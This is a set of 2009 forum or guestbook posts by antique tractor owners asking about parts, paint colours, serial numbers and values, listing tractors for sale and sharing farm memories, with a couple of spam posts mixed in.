garrett sharp wrote on Tuesday, July 28, 2009 (PDT):i was wondering how you remove the starter from the w4 tractor. i have one that needs to be replaced but i seem to not be able to pull it out of is place. all the bolts are removed and it wiggles and slides in and out but i cant tilt it the correct way to get the entire starter to slide out. i was wondering if anyone knew how this needs to be done thank you.
Mark Treece wrote on Sunday, July 26, 2009 (PDT):I just bought a 1948 case tractor for 500 that was sold as is not running w/ front bucket, and if he can find the back blade will give that too me too. I took it home and fired it up and with a little work have most of it working. I need to know what type of oil to put in the gear box and rear end. Thank you
jerry luis wrote on Saturday, July 25, 2009 (PDT):i have a 1952 john deere model m tha i have been working on and looking for a hand crank and were do they store it when not in use
Dick wrote on Saturday, July 25, 2009 (PDT):Hi, I m looking for a 4 cylinder engine wth separate cylinder blocks in pairs. Waukesha, Buda, Mack, American Lafrance,Ingersol Rand etc. Please email with info.
Chris wrote on Saturday, July 25, 2009 (PDT):I purchased a Cub 130 a few months ago with a belly mower, not sure of the year due to not being able to locat any data plates. Anyhoo, I m on my 3rd belt and I m rather sure I m not doing it right. Is there anyone out here that knows anything about the correct mount, proper twists or anything that would help me The deck is a Woods L59. Any pictures or diagrams would be very helpful. Thanks...
Gary forde wrote on Friday, July 24, 2009 (PDT):Can anyone tell me what the colours are on a 1964 super dexta I know they were blue and orange when they first came out but changed to blue and white a few years later.
Ken Shirley wrote on Thursday, July 23, 2009 (PDT):I have a question the G vi what year did they go into production we are having a debate on this with some tractor pullers hope you can help me out
PatrickDoyle wrote on Tuesday, July 21, 2009 (PDT): I HaveBoughtA.Super MajorTractor.recentaly . But. Iam HAVING Trouble WITH. The.pto
Hans Skagen wrote on Tuesday, July 21, 2009 (PDT):Can you please help me out, I have a Fordson Super Dexta and think it is a 1962-64 model, I need to know how many litres of oil for the diff and hydraulics and what type of oil I need to use,any info will be appreciated. Hans Norway
Mandy wrote on Sunday, July 19, 2009 (PDT):My Dad has an old Minn. Moline the plate on the side says UT100D. I know it s propane powered. I can t find any information on this tractor. I am hoping to find out what the value of it is as he is looking to sell it. I have been told everything from 1500 to 10,000. Does anyone know where to find out the true value of this tractor. Any help would be great. Thanks
Roger Creasy wrote on Sunday, July 19, 2009 (PDT):greg langmo intersted in tractor contact me 4345255162
Andrew Hull wrote on Saturday, July 18, 2009 (PDT):I am trying to find a z120a engine or engine block mine has cracks inbetween all for cyl top and bottom resonable prices please houston tx
kirk wrote on Wednesday, July 15, 2009 (PDT):My father has three of these W series tractors. a W4, W6 and I think a W9. All three of these tractors have been restored and are in excellent working order. He loves these tractors. He is also getting up in age and just had a stroke this last fall. I am helping him find buyers for thes tractors. Me not knowing anything about tractors, is there any websites or auction sites that I can use to find out about buysrs for these gems.
mike wrote on Wednesday, July 15, 2009 (PDT):Hello everybody I have a 1959 ford dextra, I use it all the time I have the original maint. Poster that came with the tractor, a manual and The poster tell all the different oils and filters and settings. let me know if anybody needs any info. Mike
Garland Berger wrote on Sunday, July 12, 2009 (PDT):I have a fully restored 1939 General that looks identical to the one in the picture except the wheels are red. I won it in a lottery conducted by the Lake Region Pioneer Threshermen s Association, Dalton, Minesota. It was a real show stopper as I travled home to Vancouver, Washington. Every gas station, motel, historic site or rest area we stopped at brought comments, inquiries or tractor stories. I had no idea so many people were interested in old tractors. It runs great Always starts with one crank! and I enjoy showing it at events in Washington and Oregon. I have now joined a local group of old iron enthusiasts; Fort Vancouvr Antique Equipment Association.
KMC wrote on Sunday, July 12, 2009 (PDT):For those of you looking for the serial, as you are facing the front of the tractor move to the right side. Look at the torque housing where it meets the engine block. Should be stamped vertically.
Andy McCULLOUGH wrote on Thursday, July 09, 2009 (PDT):I have two 1937 Co-oP tractors, a model no.3 and model no. 2, both semi restored. The #3 was purchased new by my dad on Sept. 14, 1937, for 1375.00. He spent many hours working this tractor, grading roads, plowing, threshing, and used as power for McCullough Bros. feed mill in Allenford Ontario, CANADA. The #2 was purchased 2005 at Stewart Weavers estate sale. His father, Herman was the sales agent for Co-oP tractors in the Owen Sound area in 1937. He sold a total of nine tractors in this area. Between my cousin and I we have 13 Co-oP tactors , of different years and models.
gary shaver wrote on Monday, July 06, 2009 (PDT):I just aquired a old ford tractor made in England. Number behind oil filter on block is E1ADKN6015. T-1 is under that number. Starter has a lever to push down which pushes the bendix in gear and has a button switch at end of bendix to activate the soleniod. Is a 4 cyl. diesel with a sims injector pump mounted on right side of engine. Has pressed steel front rims with 7;50 x 16 tires. Rear wheel has 6 holes, is 16.9 x 30 tires, pressed steel. transmission dipstick is just in front of shift lever. Can anyone please tell me what year and model I might have starts and runs like a fine watch.
Doug Swenson wrote on Monday, July 06, 2009 (PDT):I have a SD3 and am looking for the drive gear and hydraulic pump for it. If you have one please e-mail me Thanks Doug
Don wrote on Saturday, July 04, 2009 (PDT):Thanks for all the info on your website. We recently lost a relative and their estate includes an IH TD-35, s/n TDBB5880 that appears to be mostly there and restoreable. It will be part of an estate sale in Lodi, CA. I will resopond to email inquiries.
Mary wrote on Saturday, July 04, 2009 (PDT): I am looking for an Allison Chalmers calendar and also a photo of AC D21. Any suggestions would be appreciated.
mike sarge wrote on Wednesday, July 01, 2009 (PDT):I m looking to buy a 60 s international td-4 or td-5 crawler tractor...please call mike at 763-535-3366..thanks.
Daniel T. Seamon wrote on Monday, June 29, 2009 (PDT):I have a 1952 cockshutt 40, 230 buda gas and am looking for a intake exhaust manifold. Also a rebuild kit for motor.
Greg wrote on Thursday, June 25, 2009 (PDT):I am looking for a Yuba tractor in NoCal or SoCal. If you have any leads and they materialize I will make it worthyour while. Greg
Phil Miollis wrote on Thursday, June 25, 2009 (PDT):I have an unrestored Sheppard SD2, any ideas what it is worth
aduncan wrote on Wednesday, June 24, 2009 (PDT):this is not an O-14...the fenders on an orchard model come over the tire and the seat sets lower to allow clearance under the trees for the driver
NORMAN MOYER wrote on Wednesday, June 24, 2009 (PDT): cockshut was one of the smoothest like an oliver tractor
Bill Vogel wrote on Tuesday, June 23, 2009 (PDT):Want to buy a D-15 with wide front for loader. Would trade a 1950 WD with or without Arts Way belly mower. Been trying to find a D-15 in Iowa for awhile. Several for sale on Tractorhouse in Michigan and Ohio I would buy in a minute but too far away to inspect and haul.
Gary Jennings wrote on Sunday, June 21, 2009 (PDT):looking for carco mod.e winch adaptor for old td6
Peter wrote on Wednesday, June 17, 2009 (PDT):Wanted a picture of an antique cockshutt farm tractor with steel wheels
David Olson wrote on Thursday, June 11, 2009 (PDT):I purchased a 1957 Super 55 Oliver about 5 years ago from my uncle. I have a 7 3pt mounted mower. I believe it is an Oliver. There is a lift cable on the left side of the mower with a yoke/clevis type hook up. Does this attach to the left side mount under the left fender Appreciate your answer, or better yet a photo if anyone out there has one hooked up properly. Thanks.
Bryan wrote on Tuesday, June 09, 2009 (PDT):Am looking for any manuals, reprints, for Custom or Wards tractor. thanks.
Matt Rice wrote on Tuesday, June 09, 2009 (PDT):My mother has a Leader Model 48D that she would like to sell. It belonged to my father who died 5 years ago and she would just like to get it out of the garage where it has sat all that time. She is willing to entertain any offers for it. She lives in Cuyahoga Falls, OH. Thank you.
hoste hubert wrote on Tuesday, June 09, 2009 (PDT):Hello I has a farm tractor of the leading brand built for the Chagrin Falls restaurant I need pictures and information; Can you help me or give me email addresses Sincerely H HOSTE
Brian wrote on Sunday, June 07, 2009 (PDT):I have a farmall cub and after powerwashing it i found orange paint under the red, is there anyway to tell if it is an industral or a highway tractor
curtis wrote on Sunday, June 07, 2009 (PDT):I, brought a 1952 golden jubilee the man that i brought it from siad that it was ran with no oil so it kick the back piston out of the side block. iam going to restore it but were can find a starter for it ihave all other parts thank you
J. Lerdal wrote on Tuesday, June 02, 2009 (PDT):Our family farm has a 1957 Super 44 Oliver, built in Battle Creek, MI. This tractor was purchased by my grandfather from Wood Bros. in Bangor, MI. It was an exciting day on the farm when this tractor arrived. Oliver is still in original condition. This tractor is still working on the farm. How many color combinations were there We don t have the red trim, ours is white.
Duaine D Dockter wrote on Tuesday, June 02, 2009 (PDT):I have a 1927 20 35 for sale runing order P H 701 465 3692
Jim Brehmer wrote on Tuesday, May 19, 2009 (PDT):My Dad bought a Rock Island new in 1933. We sold it to a collector in the family in about 1980. It still ran and I recall using it once in about 1958 to pull one of our other tractors out of a mudhole. I recently heard that it has been totally restored and is in Indiana. I think I may still have some parts for it. Possibly a carburetor and magneto.
Jeff Barnum wrote on Thursday, May 14, 2009 (PDT):I have a Samson Sieve Grip model 6-12 single cylinder made in Stockton California. I would appreciate any information on it including its value.
Ken Swenson wrote on Wednesday, May 13, 2009 (PDT):I am looking to find the location of the serial number on the 22-36 tractor. If anyone knows where it is located, please e-mail me.
gary hendrix wrote on Monday, May 11, 2009 (PDT):how much does a 12hp 1910 case steam traction weight also need clutch parts for a 9hp case steam traction.
Chuck W. wrote on Sunday, May 10, 2009 (PDT):FOR SALE; Alice Chalmers D-21, runs well. Has Disk and Plow. Location; Mtn. Home, ID. contact me at 208-587-4173, thanks
jideqzyh wrote on Tuesday, May 05, 2009 (PDT):I did, guys locker room erection he could i didnt want to where she ran her fingers clean.
Gavin Mitchell wrote on Tuesday, May 05, 2009 (PDT):Useless or could be usefull info. My gas 52 G s front frame and parts were sand blasted on friday and the name of the steel producer has shown up, Carnegie Steel Co. It s a pitty it s hidden by the cylinder head and block. Didn t know there were LPG G s
chad albert wrote on Monday, May 04, 2009 (PDT):We have a 1066, 1206, 1466, 706g, 706d, 2 m s, 3 c s and a 4386 i dont care for the 86 series on the 7-15s cuz with that cab forward design it made them ride very rough anyone who has a 66 and a 86 will tell u that a 66 was better for a ride but the one advantage to a 86 was the fuel tanks u could run well into the night with them. The left hand shift was a pain to get in and not to handy to shift. When the 50 series came out they went back to the right hand shift and was very well liked. our 1066 runs a healthy 180hp our 1206 is 155hp the 1466 is at 190 cant hold it down with 8 wheel weights and fluid the 4386 is at 235 and all have pyros on the and hit 1200 degs so fast itll make ur head spin to say the least is that all ih s have the same inhearted torque rise in the 400 series engines to out run pull and with less fuel. I rest my case.
Olgunka-yq wrote on Thursday, April 30, 2009 (PDT):1998 winter olympic games location incubus warning lyrics free computer dvd downloads linksys ind stall buried treasure in ohio
P Manning wrote on Wednesday, April 29, 2009 (PDT):D21 Story; We farmed around 1000 acres of dry farm ground in Idaho. We had 2 series II D21 tractors decked out with duals and the Egging Cab with every possible extra at the time. To this day I can still hear the sound of the deep throaty should of the engine and turbo as it whistled down when we shut off the engines at the end of the day. One experience that I will always remember was a time when we were breaking open ground out of the then Soil Bank program that the government had similar to the CRP program today. We burned the grass off of a 360 acre parcel and began opening the ground with 18 foot and a new 21 foot Geoffery chisel plows. It was an exciting time as the ground had layed dorment for close to 10 years. We sunk the chisel plows deep and started the project. I was pulling the new 21 foot plow for the first time which worked the tractor hard but I never had to take it out of 4th gear. Coming up out of a small raveen I heard a bang and hydraulic oil squirting everywhere over the back of the cab. The D21 had pulled the hitch right off of the frame of the 21 ft plow breaking the hydraulic lines. As we were working together, my dad was driving the other D21 and saw the whole thing from behind. He pulled up, got out of his tractor and said to me, Dang, who would of thought that would happen . We both were smiling as we thought of just how powerful these tractors really were. Needless to say the hitch was not only replaced but reinforced. Those years were an exciting chapter in my life. Wonderful memories.
Cliff Miller wrote on Tuesday, April 28, 2009 (PDT):Came across an old model H s/n begins FBH and can t read the rest of the plate. Tractor has a large chain driven sprocket on rt. side to power an auxillary piece. Any ideas on age or value
James Witte wrote on Tuesday, April 28, 2009 (PDT):We have a oliver 55 with the optional dozer trac assembly in the town i live in and they told me they are going to sell the trac assembly so i looked up your web site to let some lucky person a chance to buy it.. I my self am a international harvester nut so they won t do me any good email if you want to see pics and ill go down to the city barn and take pics...PS you gota love old tractors!!
steve wrote on Sunday, April 26, 2009 (PDT):Hi, I am looking at a 47 SC that has been sitting for 6 years outside. I had a bucket over the exhaust and intake pipes and engine turns over with the hand crank. Two questions; 1 one rear break stuck, will be tough to load on trailer--any suggestions for freeing Second, owner said he does not remember draining the radiator 6 years ago---tough indiana winters i am wondering about cracked engine block. I have looked hard don t see obivious cracks but...any help appreciated. Price is fair i believe, all parts are there so i want to buy the tractor. Thanks much..
John Harvey, Classic Farm Tractors Calendar wrote on Saturday, April 25, 2009 (PDT):Don, I m anxious to tell the California Classics story of the Best, Holt and Yuba Ball Tread track-type tractors on an upcoming issue of my calendar. Got shots of Holt and Best at Tulary Show, need photo of a Yuba. Know you can help me out ... had photo/story in my newsleeter in 2005 from the brochure of our 2003 sale. This check out
Shooter wrote on Friday, April 24, 2009 (PDT):To Rebel May 9.99 comment, if you haven t found the answer yet to the cracked water jacket...yes j/b weld will work. Auto body filler will work as well...simply clean the block very well with a wire wheeel mix the body filler and cover hte cracks.
Shooter wrote on Friday, April 24, 2009 (PDT):To Rebel May 9.99 comment, if you haven t found the answer yet to the cracked water jacket...yes j/b weld will work. Auto body filler will work as well...simply clean the block very well with a wire wheeel mix the body filler and cover hte cracks.
Mike wrote on Wednesday, April 22, 2009 (PDT):I have a set mounted on a Cockshutt 540, they work great.
Mark Turner wrote on Tuesday, April 21, 2009 (PDT):I have a friend that has a 1955 MH tractor that was drove to its current location about 3 years ago he is wanting to sell. If you are interested you can email me. The tractor runs on LP and is located in Orange, Texas.
Joe Wolf wrote on Tuesday, April 21, 2009 (PDT):I am looking for any old IH 56,66,06 series diesel tractors with bad engines,TA s,clutches within 200 miles of kellogg,mn. Looking for something to work on. We have 3-1066,2-966,1-986,1-706,2-766,2-656 on our farm and I would like one of my own. Cell 1-507-272-3720
Olgunka-sf wrote on Monday, April 20, 2009 (PDT):
Tim Lough wrote on Monday, April 20, 2009 (PDT):I am looking foe the paint code for this Oliver 60 Indust.
oliver davis wrote on Thursday, April 16, 2009 (PDT):in process of restoring my 46 ol md B on bill of sale,is 44 in good org.cond.need pto and batery cover. let me know if anyone has parts.
Harry Moberg wrote on Thursday, April 16, 2009 (PDT):dkschmidt The Pony wtll not pull a 2 bottom plow. I tryed it and brock the tractor in half by the engine.
Patricia Mark wrote on Monday, April 13, 2009 (PDT):When is the next old steam tractor event at the iron horse ranch in 2009
Kathy wrote on Friday, April 10, 2009 (PDT):I have a W-4 and a super W-4 for sale. Can be reached at 519-848-3891 or leave a message.Also may be able to find parts and information if needed. Have owned and used w-4 for 50 years. Live in Ontario, Canada.
ronald clingan wrote on Friday, April 10, 2009 (PDT):I m in the process of restoring the family 1929 15-25. It has t been running in 25 years. The clutch is seized on it, we ve been soaking and turning and it still won t break loose, does anyone have any ideas short of tearing the tractor apart I m also looking for front steel wheels and a front end or specs to fabricate one, it currently has an international front end. As always, any help is appreciated.
Paul from SD wrote on Wednesday, April 08, 2009 (PDT):I spent 3 summers on one like this and I loved it. We pulled 3 Noble blades with it working summer fallow and it was not a problem for this tractor. It was trouble free and easy to handle without power steering. It was sad day when the boss traded it for a 5010 JD.
Neil Fritzke wrote on Tuesday, April 07, 2009 (PDT):I am looking to buy an Oliver 440 in restorable condtion or will trade for a unstyled JD BR. 306-227-0169.
randy wrote on Tuesday, April 07, 2009 (PDT):hi i have a leadwer tractor need to find a manifold gasket
markalexander wrote on Tuesday, April 07, 2009 (PDT):Iwas raised on a farm in west tn.My dad ran a shop and worked on tractors. he loved his 55 oliver and his 530 and 620 john deere. I have my uncles 504 IH. I hope to own a 530 and super 55 some day.
eugene wygle wrote on Tuesday, April 07, 2009 (PDT):I have 1948 McCORMICK-DEERING W4 STAND. I RUN MY TRACTOR FROM MAYVILLE TO FRANKENMUTH MICH. ITS ABOUT 3 HOURS ONE WAY.I HAVE LOTS OF FUN.
mark ellenbarger wrote on Monday, April 06, 2009 (PDT):We are a Massey Ferguson dealer in Fort Worth, Texas looking for a 98 to build. We will do pulling and show here at our dealership. If you have one for sale please contact us.
Thomas Barksdale wrote on Sunday, April 05, 2009 (PDT):To Jackie Napier in Yatesville Ga; Do you still have Leader tractor for sale If so what is price and condition. Please send photo if possible.
Dean wrote on Sunday, April 05, 2009 (PDT):I just bought a nice Oliver super 55 at the local spring farm auction. It s in very good shape but I can t figure out how to engage the PTO. I can t find a lever or anything anywhere on it. The shaft spins when the tractor is running but you can stop it easily. It doesn make any bad noises or feel bad when you do. Am I just not seeing it or did I buy one that has problems Thanks.
mark ellenbarger wrote on Sunday, April 05, 2009 (PDT):Looking for a Massey Ferguson 98. We are a Massey Ferguson dealer and want to buy any condition to build to pull and show at our dealership.
mark ellenbarger wrote on Sunday, April 05, 2009 (PDT):Looking for a Massey Ferguson 98. We are a Massey Ferguson dealer and want to buy any condition to build to pull and show at our dealership.
Danielle wrote on Wednesday, April 01, 2009 (PDT):Does anyone have an restored 8N that is located in Northern California
Matt wrote on Tuesday, March 31, 2009 (PDT):The 1066 has got to be one of best of all times. We have a 1975 1066 with front wheel assist,and it will go anywhere. Almost 9000 hours never been touched other than water pump And ta.
Chuck May wrote on Monday, March 30, 2009 (PDT):My dad recently passed away and we now have a ZB MM for sale. Narrow front - new tires all around. Has been used lightly for the past 20 years. Has a loader on it but can be removed if buyer would like it removed. Please contact me with any questions. I also have pictures if anyone would like to see. 2nd owner- and shedded. 605-695-3597
Neil Goldade wrote on Sunday, March 29, 2009 (PDT):Just a little bit of information for n-series ford tractor owners. The 9-n was made in 1939 to 1942, the 2-n was made from 1942 to 1947, the 8-n was made from 1947 to 1951. All of the 9-ns and 2-ns serial number started with 9. The difference between the 9,2n and the 8n is the 9,2 have a three speed trans. and the 8n has a four speed trans. The correct gear oil for the ford rearend is mineral oil which is hard to find now. People looking for parts can call Dennis Carpenter in Penn. they have a lot of new parts. To find the serial number on the n-series tractor look on the left side of the block on the flat spot behind the oil filter. Thanks have a nice day.
Neil Goldade wrote on Sunday, March 29, 2009 (PDT):Just a little bit of information for n-series ford tractor owners. The 9-n was made in 1939 to 1942, the 2-n was made from 1942 to 1947, the 8-n was made from 1947 to 1951. All of the 9-ns and 2-ns serial number started with 9. The difference between the 9,2n and the 8n is the 9,2 have a three speed trans. and the 8n has a four speed trans. The correct gear oil for the ford rearend is mineral oil which is hard to find now. People looking for parts can call Dennis Carpenter in Penn. they have a lot of new parts. To find the serial number on the n-series tractor look on the left side of the block on the flat spot behind the oil filter. Thanks have a nice day.
a c sletten wrote on Friday, March 27, 2009 (PDT):Lee, It is not the top plate. Have not yet checked further but will do so. AC
a c sletten wrote on Friday, March 27, 2009 (PDT):Lee, am not yet sure what is needed. As soon as I have time, I ll check. I know it is not the top plate. AC
Dale Standley wrote on Friday, March 27, 2009 (PDT):What is the correct tire pressure on a 14-9-26 without fluid for an Allis Challmers tractor
vincent wrote on Friday, March 27, 2009 (PDT):I was wondering if Kevin found the colors of a 15-25 Rock Island and also the decals for a Serial #100006
johninutah wrote on Thursday, March 26, 2009 (PDT):What is the correct color scheme for a green 1924 15-27 crossmotor Anybody have paint code nunbers
annonomous wrote on Wednesday, March 25, 2009 (PDT):i am 13 and i live og a farm and i just restored a 77o. it is for sale
annonomous wrote on Wednesday, March 25, 2009 (PDT):i am 13 and i live og a farm and i just restored a 77o. it is for sale
Bill Wilson wrote on Tuesday, March 24, 2009 (PDT):Just purchased a Fordson Super Dexta 2000 Diesel with 4,580 hours. Starts and runs great. Need to find a shop manual for this tractor. Model 957E-7005 located on right side in front of brake pedels. Still looking for the Serial number . Hydro lift comes to life after a short warm up. This tractor is used to do heavy plowing with a pair of 16 plows and uses and 8 disk. Plenty of power and sipps fuel.
Mark wrote on Sunday, March 22, 2009 (PDT):I just got an Oliver Crawler OC3-42 - Serial#9WH828. I think it is a 1951 or 1952 Tractor and has a loader on the front. I am looking for any details I can find on this tractor. It has a 4 cylinder gas engine with a bad crank. I can t find any pictures on the internet that look like my Oliver Tractor - Crawler. I would be glad to email anyone pictures if you can give me any information at all. Thanks in advance, Mark
Ben B. wrote on Thursday, March 19, 2009 (PDT):I recently purchased a 1958 oliver 770 to restore for a ffa project. I am looking for the rear quarter panels and side panels on both sides. My # is 1-920-450-8753 thankyou!
John Calvet wrote on Wednesday, March 18, 2009 (PDT):For Sale MM UBN serial #06000026 runs good puller. With parts tractor price 3500.00
Doug Furley wrote on Tuesday, March 17, 2009 (PDT):I would like to see pictures of some fordson dexta tractors from different angles !If any one can provide some please e-mail me Thanks
lee thomas wrote on Sunday, March 15, 2009 (PDT):AC, do you know what you need to fix your transmission some time the cage bearing in the end of front main drive will be bad and cause this problem some time the topplate can cause this
Delfred Cone wrote on Friday, March 13, 2009 (PDT):I have a model U tractor and would like some pictures that show what ir looked like orginally
A C Sletten wrote on Tuesday, March 10, 2009 (PDT):I have a 1949 D Leader that my grandfather purchased new. I have restored the tractor and it looks and runs great. However, it will not stay in second gear. I need to find some transmission parts. Any info would be appreciated.
Walter wrote on Monday, March 09, 2009 (PDT):My grandfather owned one of these, I raked hay on a W4 many times, and have wonderful memories. I just bought one of these and am planning to restore it. One question I have is that the shift knob is steel and has numbers engraved into it - does anyone know why this tractor doesn t have the rubber knob - or what the numbers designate. thanks
Jim Taylor wrote on Monday, March 09, 2009 (PDT):Looking for D-15 AC. Parts or complete running unit. Note to Greg Langmo and Vince Schiavitti; please contact me.
monty wrote on Sunday, March 08, 2009 (PDT):what year did they make 550 s
Greg Langmo wrote on Saturday, March 07, 2009 (PST):I have a D15 wide front with SHUTTLE clutch fully hydralic Paulson loader. Rubber is 90%, paint average. Tractor starts runs great. Dad bought new. Always shedded. What is a fair price
john simmons wrote on Friday, March 06, 2009 (PST):My father own a 1947 g with disc plow, cultivator sickle mower belt pulley. In the early 1950 he traded it for a b. I bought a 1948 g which had been restored, but does t have the manual lifts or cultivators. any help locating
chuck wrote on Thursday, March 05, 2009 (PST):NEED a running farmall b engine or block and/or cultivator assembly. Please call 715-213-9001 or email me at accent at tds.net.
Bennie S. wrote on Tuesday, March 03, 2009 (PST):Please tell me if I have a C or Super C Farmall tractor- the serial number is 72667. The engine block has the cast wedge between the carb and the oil pan. I also need the year if possible. Thank you! Bennie
Ernie D. wrote on Saturday, February 28, 2009 (PST):I am located in Virginia, USA, and looking for a single 14 bottom plow with hook-ups/attachments for a M-H Pony. If you have one or know someone that does call me at telephone #540-832-3096.
Alan K wrote on Saturday, February 28, 2009 (PST):These tractors are more commonly called a G704 GVI with front wheel assist . Had a neighbor that had a GVI and a G706. What a monster....but in a good way.
Michael J. Clements wrote on Thursday, February 26, 2009 (PST):Does anyone know what a Oliver 1900 Detroit deisel with dual turbos is worth Thank You
Pat wrote on Tuesday, February 24, 2009 (PST):I am looking at a T340 wide track. It was supposed to be made for vineyard use. It is very wide between the treads but they are narrow treads. I was told only 18 were made. Can any one give me more info THX, Pat
Don Young wrote on Sunday, February 22, 2009 (PST):This was one of the first tractors I drove many years ago. I don t remember the year of the one we had, but it did have live hydraulics. We had the blade attachment, with a bolt on brush rake attachment, ditch attachment for orchard irrigation. I am from Yakima, Washington where the tractor was converted from a B model motor and transmission form John Deere, shipped to Yakima for the track system and final assembly. Remains of the foundry and production still exist, a fire destroyed most of the facility in the late 50 s. The Central Washington Ag. Museum in Union Gap, Washington, I heard that they are in possession of the original track pad equipment, and are producing this part. You can contact them 509-457-8735. They also have a video tape of called The Lindeman Story , how the brothers got started, and showcasing some of their inventions and equipment. They were very good at filming their equipment in use on local farms and ranches in the Yakima Valley. I hope that some of this may help someone that reads this.
Seamus Flanagan wrote on Saturday, February 21, 2009 (PST):Hello i have a 97 Massey Ferguson i would like to sell, good running tractor with a new battery and starter. 9,0000 located in Chicago Illionis. Please contact at; 708-243-9290 Thank you
Howard Dickens wrote on Friday, February 20, 2009 (PST):I have fordson 1964 super dexter for sale. Runs and starts good but has some oil leaks. 918 375 2618 or 405 742 4303
vince schiavitti wrote on Wednesday, February 18, 2009 (PST):I have a allis chalmers 1962 d15 for sale it has a trip bucket three point, and pto that all work the tin is fair qiite a bit of rust. sell for 2,500
Christopher Colvin wrote on Wednesday, February 18, 2009 (PST):I have a 1953 Ford Jubilee. I am in need of the selectospeed shifting cable. I would even buy the housing complete if you would want to sell it that way. I really would like someone to email or call me if they ave info on finding one of these. Yesterdays tractors didn t know where to locate one either. Please call me with the info. Fight for our freedom. God Bless America! Thanks! Christopher Colvin 252 455 0397
Elton wrote on Tuesday, February 17, 2009 (PST):I recently bought a 140 International #2056. I am trying to locate a service manual and one showing what equipment can be used on it , it has a fast hitch. Any help would be appreciated.
MIKE BLACKBURN wrote on Monday, February 16, 2009 (PST): I BOUGHT A SUPER DEXTA I THINK. SERIAL NUMBER 09B729117 AND ON THE DIESEL BLOCK NEAR THE MANIFOLD IS CKN13721G I BELIEVE, HARD TO READ. CAN ANYONE IDENTIFY THIS TRACTORS YEAR AND H.P. I DID ALSO FIND THE NUMBER 957E-7005 NEAR THE CLUTCH HOUSING. ANY HELP WOULD BE APPRECIATED. I CAN SEN PICTURES IF IT WOULD HELP.
A Vandenberg wrote on Monday, February 16, 2009 (PST):1938 Oliver Orchard model in EXCELLENT condition. It has always been sheltered and is running. I have pictures of nearly every angle, the serial number, etc. If truly interested, let s talk! It s located in Orange County, CA.
bob o wrote on Friday, February 13, 2009 (PST):my dad had one of these when i was growing up it was one of the most powerful old tractors ive ever seen
Stayce wrote on Thursday, February 12, 2009 (PST):Where can I locate technical data for a Farmall FC, i.e., top gear speed Thanks.
bob adams wrote on Wednesday, February 11, 2009 (PST):i have a d-21 that needs 2 3/4 inch bull gears and 3 1/4inch bull pinion gears anyone who would know where i could get these please call me at 17122632842
Robert McKell wrote on Tuesday, February 10, 2009 (PST):Hello, I am restoring an 1948 Oliver 70 industrial, I do not know what the proper paint code and color for this tractor should be. Any assistance you could offer would be appreciated. You have done a wonderful job restoring your tractor. Many thanks, Robert.
Gene wrote on Sunday, February 08, 2009 (PST):I am looking to buy a 44, super44, or 440 in restorable condition. Any location. 608-921-8580
Joe Browning wrote on Tuesday, February 03, 2009 (PST):Has anyone out there used Agriline products out of England for parts. I am concerned about shipping costs. They are very vague as to shipping, only saying they will give you the best rate available. Thanks
Joel Mierhoff wrote on Friday, January 30, 2009 (PST):Just wondering what the value of a newly restored in great running condition, 1952 T 340 international harvester caterpiller with a 4 in 1 drott bucket 3 tooth drott ripper 4 cyl unleaded fuel and runs on a track. I have an extra motor and parts. Would like to sell...
Joel Mierhoff wrote on Friday, January 30, 2009 (PST):Just wondering what the value of a newly restored in great running condition, 1952 T 340 international harvester caterpiller with a 4 in 1 drott bucket 3 tooth drott ripper 4 cyl unleaded fuel and runs on a track. I have an extra motor and parts. Would like to sell...
vince schiavitti wrote on Tuesday, January 27, 2009 (PST):I JUST BOUGHT A ALLIS D15 1963 HOW CAN I FIND OUT IF IT IS A SERIES1 OR 11 THANK YOU
vince schiavitti wrote on Tuesday, January 27, 2009 (PST):WHERE CAN I FIND THE SERIAL NUMBER ON A 1963 ALLIS D15 THANK YOU
vince schiavitti wrote on Tuesday, January 27, 2009 (PST):I JUST BOUGHT A ALLIS D-15 HOW CAN I FIND OUT IF IT IS A SERIIES 1 OR 11 IT IS SUPPOSE TO BE A 1963 THANKS F0R ANY HELP
Harold wrote on Monday, January 26, 2009 (PST):Too all the old timers who ownes the TD-35orTD-40 crawlers give me a call at 570 333_4960 Help here Harold .
Harold Ph # 570 333 4960 wrote on Monday, January 26, 2009 (PST):I,m in need of a TD14Fuel Inj pump complete ready for use. Contact me at the Adresses above.
John Otten wrote on Saturday, January 24, 2009 (PST):I have logged hours on a International 1086, 766, 674, 574, 884, and 1066 tractors All of them were great to drive and dependable. The 1066 Turbo was the white cab series and bought it with 4700 hours. I was interested in a 4430 John Deere but on a cold day it would not start. The 1066 was able to start in the cold on its own every time. When I selected the 1066 i asked the dealer to put the tractor on the dynometer to see how it ran. He said that he would quarantee that it would put out 150 hp no problem. This tractor had a chrome straight pipe no muffler. As they warmed the tractor up at a low 50 hp level they waited 10 mins till the engine and drive line was warm. The mechanic puleed the throttle wide open. That tractor pulled 210 hp at 2600 rpm. They wouls pull it down to 22oo rpm and it would hold her own. Smoke 90 feet in the air. That dealership gave the tractor the nick name THE BEAST. I bought the tractor after carefull inspection and had them turn the power down to 165 hp. This tractor worked very well. I pulled a 5 furrow 20 inch plow and this was a breeze to pull. You could actually relax plowing and not strain yourself like other tractors thatseemed like you had to help them along in tough spots. The 766 was a great tractor also. The 1086 was excellent but for some reason did not have the beast like character as the 1066. Most like due to the rebuild of the 1066 with new sleves pistons at 1600 hours and rebuild shwitzer turbo. we go to local trator pull and the 66 serie tractors are always in the top for pulling. I rest my case.
Harold wrote on Friday, January 23, 2009 (PST):Hello ! Ida Red Do you still have that TD14 stationary Eng I have use for it.E mail my Address above to let me know.
Harold Montross wrote on Friday, January 23, 2009 (PST):John Faccin i Harold would like to talk to you about your TD 40 for 800.00 Email my address above.
Rod Knoll wrote on Tuesday, January 20, 2009 (PST):Dad bought a brand new 74 1066, had the red cab w/no stripe, would do just about anything you asked. I buried it a couple of times dragging the disc harrow thru a soft spot, took 2 neighbors 3 tractors to unstick it....the duals were a chore but wasn t bad, the T/A went out at around 2200 hrs most would fail before 2500 hrs , was a thirsty devil, would plow for 4 hrs gulp down most of the 42 gal tank...sold it in 1990...
Wayne Nunnery wrote on Saturday, January 17, 2009 (PST):Looking to buy a complete/restorable Leader tractor. Please contact me at wayne5114 at netscape.net
Rick Fricke wrote on Friday, January 09, 2009 (PST):My father bought a 500 new sometime in the mid-fifties, eventually it ended up in the hands of my grandfather Kenneth Grieser Defiance, OH who sold it sometime in the early 1970s. I would really like to locate it, but no one seems to remember who he sold it to. I do know the block was welded back in the 50s but never gave any problems. Please let me know if you might have any idea about its location - I imagine it is still in the general area of NW Ohio.
